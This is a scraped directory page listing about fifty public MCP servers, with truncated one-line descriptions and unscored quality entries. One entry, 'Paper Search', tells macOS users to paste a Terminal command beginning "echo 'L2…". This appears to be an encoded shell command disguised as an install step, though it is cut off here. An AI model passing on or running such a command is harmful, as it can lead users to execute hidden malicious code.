MCP Server Quality Scores
Independent quality analysis of 62421 public MCP servers
Last updated 2 hours, 1 minute ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ○ Unscored | ||||||||||
| 32901 |
Agentic pipeline — 39 tools from idea to revenue for solo founders.
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| 32902 |
RT-Prompt
Claim
Provide specialized prompt engineering suggestions to enhance LLM-generated con…
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| 32903 |
ms-tts
Claim
MCP server for text-to-speech synthesis using Azure Speech Services, supporting…
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| 32904 |
Whaber Oracle
Claim
Ground truth operational layer for urban transfers in LatAm.
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| 32905 |
Run accessibility, contrast, and design token audits and file QA issues from yo…
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| 32906 |
cron-collision-detector
Claim
Cloudflare Workers MCP server: cron-collision-detector
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| 32907 |
Pre-computed Etsy market data for AI agents: Blue Ocean niche scores, best sell…
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| 32908 |
workbench
Claim
Hosted DNA/RNA/protein tools: primers, oligos, PCR, cloning, CRISPR, alignment,…
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| 32909 |
Hyperion MCP Server
Claim
Enables seamless interaction with the Hyperion blockchain, including wallet man…
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| 32910 |
Personal Context Manager
Claim
Provides persistent personal context storage across AI conversations, allowing …
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| 32911 |
Cloudflare Workers MCP server: api-response-cost-analyzer
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| 32912 |
test3
Claim
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| 32913 |
carapidev
Claim
Remote MCP server giving AI agents instant access to comprehensive vehicle data…
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| 32914 |
HacknPlan MCP
Claim
Enables Claude to manage game development projects on HacknPlan, including task…
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| 32915 |
RobotFail MCP Server
Claim
Enables AI agents to submit projects, track tasks, and manage work on RobotFail…
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| 32916 |
shuka
Claim
Universal trust attestation for AI agents. Create, verify, and negotiate trust …
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| 32917 |
mcp-google-gcal
Claim
An MCP server that enables AI assistants to manage Google Calendar events, cale…
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| 32918 |
earth
Claim
MCP server for Mireye Earth — federal-source-cited geospatial data for any MCP-…
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| 32919 |
clo3d-mcp
Claim
Enables AI-assisted garment design by letting Claude (or any MCP host) drive CL…
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| 32920 |
codeqr-mcp-server
Claim
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| 32921 |
mcp-workflow
Claim
Workflow automation for AI agents — browse 125 connectors + 234 templates, run …
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| 32922 |
mcp-tw-company
Claim
An MCP server for querying Taiwan company registry open data, enabling search b…
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| 32923 |
Langfuse MCP Server
Claim
Model Context Protocol server for Langfuse observability. Query traces, analyze…
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| 32924 |
Memecoin Observatory MCP
Claim
A Solana MCP server for analyzing memecoins, tracking trends, and providing AI-…
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| 32925 |
mcp-google-sheets
Claim
A Python-based MCP server that acts as a bridge between MCP-compatible clients …
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| 32926 |
markdown-mcp
Claim
Provides structured, addressable access to a local markdown vault with heading-…
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| 32927 |
Tokonomix Council
Claim
Multi-model consensus: 2-6 frontier LLMs answer, an independent judge synthesis…
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| 32928 |
mcp-async-repl
Claim
Async Python REPL + Shell execution for MCP. Provides persistent state, backgro…
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| 32929 |
lore-mcp
Claim
Persistent knowledge layer for AI agents. KB, investigation threads, journal wi…
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| 32930 |
aegis
Claim
Six-gate governance for AI agents: PROCEED/PAUSE/HALT decisions with hash-chain…
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| 32931 |
Office Word MCP Server
Claim
Enables AI assistants to create, read, and manipulate Microsoft Word documents …
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| 32932 |
Atlassian Attachments
Claim
MCP server for downloading Jira and Confluence Cloud attachments by attachment …
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| 32933 |
agent-magnet
Claim
Self-learning memory for AI tools. Remembers user preferences and context acros…
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| 32934 |
travel
Claim
AI travel agent — book flights, hotels, activities, and events worldwide via au…
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| 32935 |
confluence-mini-mcp
Claim
Lightweight MCP server that crawls Confluence subtrees and serves cached Markdo…
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| 32936 |
MoteCloud Memory
Claim
# Motecloud Memory MCP
Motecloud is durable memory infrastructure for AI agent…
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| 32937 |
Enables AI agents and sportsbooks to discover, evaluate, and monitor alternativ…
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| 32938 |
Piriod MCP Server
Claim
Connects Claude with Piriod.com API to manage invoicing and payments, enabling …
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| 32939 |
supplement-advisor-mcp
Claim
Evidence-based supplement guidance: clinical doses, form comparisons, interacti…
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| 32940 |
Sunex Optics
Claim
*A public MCP server that exposes Sunex Inc's lens and imager catalog to AI a…
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| 32941 |
mdmagic-mcp-server
Claim
Use your own Word templates to convert Markdown → DOCX/PDF/HTML from any MCP-co…
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| 32942 |
Paper Search
Claim
Important!
To install, open the MacOS terminal and enter the command: echo 'L2…
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| 32943 |
Gamito
Claim
Enables AI agents to generate budget-disciplined, allergy-safe weekly meal plan…
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| 32944 |
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
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| 32945 |
Proxmox AIops
Claim
Governed Proxmox VE VM/container ops — 23 MCP tools with audit, budget, undo & …
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| 32946 |
AnchorRegistry
Claim
On-chain provenance lookup for AnchorRegistry. Resolve AR-IDs, hashes, and full…
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| 32947 |
UniFi MCP Server
Claim
MCP server providing Claude Code with full UniFi network management capabilitie…
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| 32948 |
MCP-SERVER
Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
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| 32949 |
INSEE MCP Server
Claim
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
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| 32950 |
Deterministic safety, correctness & cost gate that vets Postgres SQL before you…
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